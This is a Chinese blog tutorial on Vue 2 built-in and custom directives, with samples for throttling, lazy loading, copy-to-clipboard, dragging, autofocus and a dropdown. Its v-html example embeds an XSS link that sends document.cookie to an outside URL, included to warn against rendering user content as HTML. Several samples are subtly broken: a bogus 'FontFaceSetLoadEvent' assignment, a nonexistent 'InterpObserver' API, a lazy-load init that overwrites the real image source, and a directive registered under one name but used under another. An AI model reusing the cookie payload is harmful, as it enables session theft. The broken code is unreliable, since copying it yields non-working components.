• Vue19 常用指令及自定义指令


    部分转自:https://blog.csdn.net/weixin_58032613/article/details/122759818

    1 常用指令

    1) v-bind

      单向数据绑定

      https://www.cnblogs.com/jthr/p/16390591.html

     

    2 ) v-model

      双向数据绑定

      https://www.cnblogs.com/jthr/p/16390591.html

     

    3 )v-for

      遍历

      https://www.cnblogs.com/jthr/p/16435164.html

     

    4 )v-on

      绑定事件

      https://www.cnblogs.com/jthr/p/16410349.html

     

    5 )v-show

      条件渲染

      https://www.cnblogs.com/jthr/p/16427643.html

     

    6 )v-if v-elseif v-else

      条件渲染

      https://www.cnblogs.com/jthr/p/16427643.html

     

    7 ) v-text

      向节点中渲染文本内容,若节点本来存在内容,会被替换掉,它不解读html标签,只会当做字符串展示

    <title>v-text指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    
    <div id="root">
      <div>你好,{{name}}</div>
      <div v-text="name"></div>
      <div v-text="str"></div>
    </div>
    
    <script type="text/javascript">
      Vue.config.productionTip = false
      new Vue({
        el:'#root',
        data:{
          name:'cess',
          str:'<h3>你好啊!</h3>'
        }
      })
    </script>
    

      

     

    8 )v-html

      和v-text的区别是,会识别html标签,注意,为了保证安全性,不要在用户可操作性的节点使用它

    <title>v-html指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    
    <div id="root">
      <div>你好,{{ name }}</div>
      <div v-html="str"></div>
      <div v-html="str2"></div>
    </div>
    
    <script type="text/javascript">
      Vue.config.productionTip = FontFaceSetLoadEvent
      new Vue({
        el:'#root',
        data:{
          name:'cess',
          str:'<h3>你好啊!</h3>',
          str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
        }
      })
    </script>

     

    9) v-clock

       它就是给模板加上了一个名为v-clock的属性,vue在创建实例接管容器后会删除掉这个属性。

          和样式配合可以解决掉网络慢时页面显示{{xxx}}的问题

    <title>v-cloak指令</title>
    
    <style>
      [v-cloak] {
        display:none;
      }
    </style>
    
    <div id="root">
      <h2 v-cloak>{{ name }}</h2>
    </div>
    
    // 够延迟5秒收到vue.js
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    
    <script type="text/javascript">
      console.log(1)
      Vue.config.productionTip = false
      new Vue({
        el:'#root',
        data:{name:'cess'}
      })
    </script>

     

    10) v-once

      vue对该节点只会渲染一次,渲染之后就视作静态内容了,后面数据变化了,也不会重新渲染

    <title>v-once指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    
    <div id="root">
      <h2 v-once>初始化的n值是: {{n}}</h2>
      <h2>当前的n值是: {{n}}</h2>
      <button @click="n++">点我n+1</button>
    </div>
    
    <script type="text/javascript">
      Vue.config.productionTip = false
      new Vue({ el: '#root', data: {n:1} })
    </script>

     

    11) v-pre

      vue不会去处理该节点

     

    2 自定义指令

    2.1 简介

      我们看到的v-开头的行内属性,都是指令,不同的指令可以完成或实现不同的功能,对普通 DOM元素进行底层操作,这时候就会用到自定义指令。除了核心功能默认内置的指令 (v-model 和 v-show),Vue 也允许注册自定义指令

    2.2 指令作用范围

      注册一个自定义指令有全局注册与局部注册

      全局注册注册主要是用过Vue.directive方法进行注册

      Vue.directive第一个参数是指令的名字(不需要写上v-前缀),第二个参数可以是对象数据,也可以是一个指令函数

    2.3 语法

    1)局部指令

    new Vue({                                                            
      directives:{ 
        指令名:配置对象 
      }   
    })
    
    new Vue({                                                            
      directives:{ 
        指令名:回调函数 
      }   
    })

    2)全局指令

    Vue.directive(指令名, 配置对象)
    或
    Vue.directive(指令名, 回调函数)
    
    
    Vue.directive('fbind', {
        // 指令与元素成功绑定时(一上来)
        bind(element, binding) {    // element就是DOM元素,binding就是要绑定的
          element.value = binding.value
        },
        // 指令所在元素被插入页面时
        inserted(element, binding) {
          element.focus()
        },
        // 指令所在的模板被重新解析时
        update(element, binding) {
          element.value = binding.value
        }
    })

    3)自定义指令采用配置对象格式时沟子函数

      bind:只调用一次,指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置
      inserted:被绑定元素插入父节点时调用 (仅保证父节点存在,但不一定已被插入文档中)
      update:所在组件的 VNode 更新时调用,但是可能发生在其子 VNode更新之前。指令的值可能发生了改变,也可能没有。但是你可以通过比较更新前后的值来忽略不必要的模板更新
      componentUpdated:指令所在组件的 VNode 及其子 VNode 全部更新后调用
      unbind:只调用一次,指令与元素解绑时调用

    4)所有的钩子函数的参数都有以下

      el:指令所绑定的元素,可以用来直接操作

      DOMbinding:一个对象,包含以下 property

    `name`:指令名,不包括 v- 前缀。
    
    `value`:指令的绑定值,例如:v-my-directive="1 + 1" 中,绑定值为 2。
    
    `oldValue`:指令绑定的前一个值,仅在 update 和 componentUpdated 钩子中可用。无论值是否改变都可用。
    
    `expression`:字符串形式的指令表达式。例如 v-my-directive="1 + 1" 中,表达式为 "1 + 1"。
    
    `arg`:传给指令的参数,可选。例如 v-my-directive:foo 中,参数为 "foo"。
    
    `modifiers`:一个包含修饰符的对象。例如:v-my-directive.foo.bar 中,修饰符对象为 { foo: true, bar: true }
    
    `vnode`:Vue 编译生成的虚拟节点
    
    `oldVnode`:上一个虚拟节点,仅在 update 和 componentUpdated 钩子中可用

      除了 el 之外,其它参数都应该是只读的,切勿进行修改。如果需要在钩子之间共享数据,建议通过元素的 dataset 来进行

    2.4 示例

    <title>自定义指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    
    <div id="root">
      <h2>{{ name }}</h2>
      <h2>当前的n值是:<span v-text="n"></span> </h2>
      <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
      <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
      <button @click="n++">点我n+1</button>
      <hr />
      <input type="text" v-fbind:value="n">
    </div>
    
    <script type="text/javascript">
      Vue.config.productionTip = false
    
      // 定义全局指令
      /* Vue.directive('fbind',{
            // 指令与元素成功绑定时(一上来)
            bind(element,binding){
                element.value = binding.value
            },
            // 指令所在元素被插入页面时
            inserted(element,binding){
                element.focus()
            },
            // 指令所在的模板被重新解析时
            update(element,binding){
                element.value = binding.value
            }
        }) */
    
      new Vue({
        el: '#root',
        data: {
          name: '尚硅谷',
          n: 1
        },
        directives: {
          // big函数何时会被调用?
          // 1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时
          /* 'big-number'(element,binding){
                    // console.log('big')
                    element.innerText = binding.value * 10
                }, */
          big(element, binding) {
            console.log('big', this) // 注意此处的 this 是 window
            // console.log('big')
            element.innerText = binding.value * 10
          },
          fbind: {
            // 指令与元素成功绑定时(一上来)
            bind(element, binding) {
              element.value = binding.value
            },
            // 指令所在元素被插入页面时
            inserted(element, binding) {
              element.focus()
            },
            // 指令所在的模板被重新解析时
            update(element, binding) {
              element.value = binding.value
            }
          }
        }
      })
    </script>

    3 实际应用场景

    1)输入框防抖

    // 1.设置v-throttle自定义指令
    Vue.directive('throttle', {
      bind: (el, binding) => {
        let throttleTime = binding.value; // 防抖时间
        if (!throttleTime) { // 用户若不设置防抖时间,则默认2s
          throttleTime = 2000;
        }
        let cbFun;
        el.addEventListener('click', event => {
          if (!cbFun) { // 第一次执行
            cbFun = setTimeout(() => {
              cbFun = null;
            }, throttleTime);
          } else {
            event && event.stopImmediatePropagation();
          }
        }, true);
      },
    });
    // 2.为button标签设置v-throttle自定义指令
    <button @click="sayHello" v-throttle>提交</button>

    2)图片懒加载

    const LazyLoad = {
        // install方法
        install(Vue,options){
           // 代替图片的loading图
            let defaultSrc = options.default;
            Vue.directive('lazy',{
                bind(el,binding){
                    LazyLoad.init(el,binding.value,defaultSrc);
                },
                inserted(el){
                    // 兼容处理
                    if('InterpObserver' in window){
                        LazyLoad.observe(el);
                    }else{
                        LazyLoad.listenerScroll(el);
                    }
                    
                },
            })
        },
        // 初始化
        init(el,val,def){
            // src 储存真实src
            el.setAttribute('src',val);
            // 设置src为loading图
            el.setAttribute('src',def);
        },
        // 利用InterpObserver监听el
        observe(el){
            let io = new InterpObserver(entries => {
                let realSrc = el.dataset.src;
                if(entries[0].isIntersecting){
                    if(realSrc){
                        el.src = realSrc;
                        el.removeAttribute('src');
                    }
                }
            });
            io.observe(el);
        },
        // 监听scroll事件
        listenerScroll(el){
            let handler = LazyLoad.throttle(LazyLoad.load,300);
            LazyLoad.load(el);
            window.addEventListener('scroll',() => {
                handler(el);
            });
        },
        // 加载真实图片
        load(el){
            let windowHeight = document.documentElement.clientHeight
            let elTop = el.getBoundingClientRect().top;
            let elBtm = el.getBoundingClientRect().bottom;
            let realSrc = el.dataset.src;
            if(elTop - windowHeight<0&&elBtm > 0){
                if(realSrc){
                    el.src = realSrc;
                    el.removeAttribute('src');
                }
            }
        },
        // 节流
        throttle(fn,delay){
            let timer; 
            let prevTime;
            return function(...args){
                let currTime = Date.now();
                let context = this;
                if(!prevTime) prevTime = currTime;
                clearTimeout(timer);
                
                if(currTime - prevTime > delay){
                    prevTime = currTime;
                    fn.apply(context,args);
                    clearTimeout(timer);
                    return;
                }
     
                timer = setTimeout(function(){
                    prevTime = Date.now();
                    timer = null;
                    fn.apply(context,args);
                },delay);
            }
        }
     
    }
    export default LazyLoad;

    3)一键 Copy的功能

    import { Message } from 'ant-design-vue';
     
    const vCopy = { //
      /*
        bind 钩子函数,第一次绑定时调用,可以在这里做初始化设置
        el: 作用的 dom 对象
        value: 传给指令的值,也就是我们要 copy 的值
      */
      bind(el, { value }) {
        el.$value = value; // 用一个全局属性来存传进来的值,因为这个值在别的钩子函数里还会用到
        el.handler = () => {
          if (!el.$value) {
          // 值为空的时候,给出提示,我这里的提示是用的 ant-design-vue 的提示,你们随意
            Message.warning('无复制内容');
            return;
          }
          // 动态创建 textarea 标签
          const textarea = document.createElement('textarea');
          // 将该 textarea 设为 readonly 防止 iOS 下自动唤起键盘,同时将 textarea 移出可视区域
          textarea.readOnly = 'readonly';
          textarea.style.position = 'absolute';
          textarea.style.left = '-9999px';
          // 将要 copy 的值赋给 textarea 标签的 value 属性
          textarea.value = el.$value;
          // 将 textarea 插入到 body 中
          document.body.appendChild(textarea);
          // 选中值并复制
          textarea.select();
          // textarea.setSelectionRange(0, textarea.value.length);
          const result = document.execCommand('Copy');
          if (result) {
            Message.success('复制成功');
          }
          document.body.removeChild(textarea);
        };
        // 绑定点击事件,就是所谓的一键 copy 啦
        el.addEventListener('click', el.handler);
      },
      // 当传进来的值更新的时候触发
      componentUpdated(el, { value }) {
        el.$value = value;
      },
      // 指令与元素解绑的时候,移除事件绑定
      unbind(el) {
        el.removeEventListener('click', el.handler);
      },
    };
     
    export default vCopy;

    4 )拖拽

    <div ref="a" id="bg" v-drag></div>
    
      directives: {
        drag: {
          bind() {},
          inserted(el) {
            el.onmousedown = (e) => {
              let x = e.clientX - el.offsetLeft;
              let y = e.clientY - el.offsetTop;
              document.onmousemove = (e) => {
                let xx = e.clientX - x + "px";
                let yy = e.clientY - y + "px";
                el.style.left = xx;
                el.style.top = yy;
              };
              el.onmouseup = (e) => {
                document.onmousemove = null;
              };
            };
          },
        },
      }

    5) 输入框自动聚焦

    // 注册一个全局自定义指令 `v-focus`
    Vue.directive('focus', {
      // 当被绑定的元素插入到 DOM 中时
      inserted: function (el) {
        // 聚焦元素
        el.focus()
      }
    })
    //<input v-focus>

    6)下拉菜单

      点击下拉菜单本身不会隐藏菜单
      点击下拉菜单以外的区域隐藏菜单

    <script>
    Vue.directive('clickoutside', {
      bind(el, binding) {
        function documentHandler(e) {
          if (el.contains(e.target)) {
           return false 
          }
          
          if (binding.expression) {
            binding.value(e)
          }
        }
        
        el.__vueMenuHandler__ = documentHandler
        document.addEventListener('click', el.__vueMenuHandler__)
      },
      unbind(el) {
        document.removeEventListener('click', el.__vueMenuHandler__)
        delete el.__vueMenuHandler__
      }
    })
    
    new Vue({
      el: '#app',
      data: {
        show: false
      },
      methods: {
        handleHide() {
          this.show = false
        }
      }
    })
    </script>
    <div class="main" v-menu="handleHide">
      <button @click="show = !show">点击显示下拉菜单</button>
      <div class="dropdown" v-show="show">
        <div class="item"><a href="#">选项 1</a></div>
        <div class="item"><a href="#">选项 2</a></div>
        <div class="item"><a href="#">选项 3</a></div>
      </div>
    </div>
  • 相关阅读:
    Spring-web初始化流程简图
    记一次升级Tomcat
    Spring-Task思维导图
    2019的第一个工作日
    RocketMQ专题2:三种常用生产消费方式(顺序、广播、定时)以及顺序消费源码探究
    RocketMQ专题1:入门
    博客搬家到云栖社区
    ActiveMQ专题2: 持久化
    ActiveMQ专题1: 入门实例
    linux下怎么卸载自带的JDK和安装想要的JDK
  • 原文地址:https://www.cnblogs.com/jthr/p/16455468.html
Copyright © 2020-2023  润新知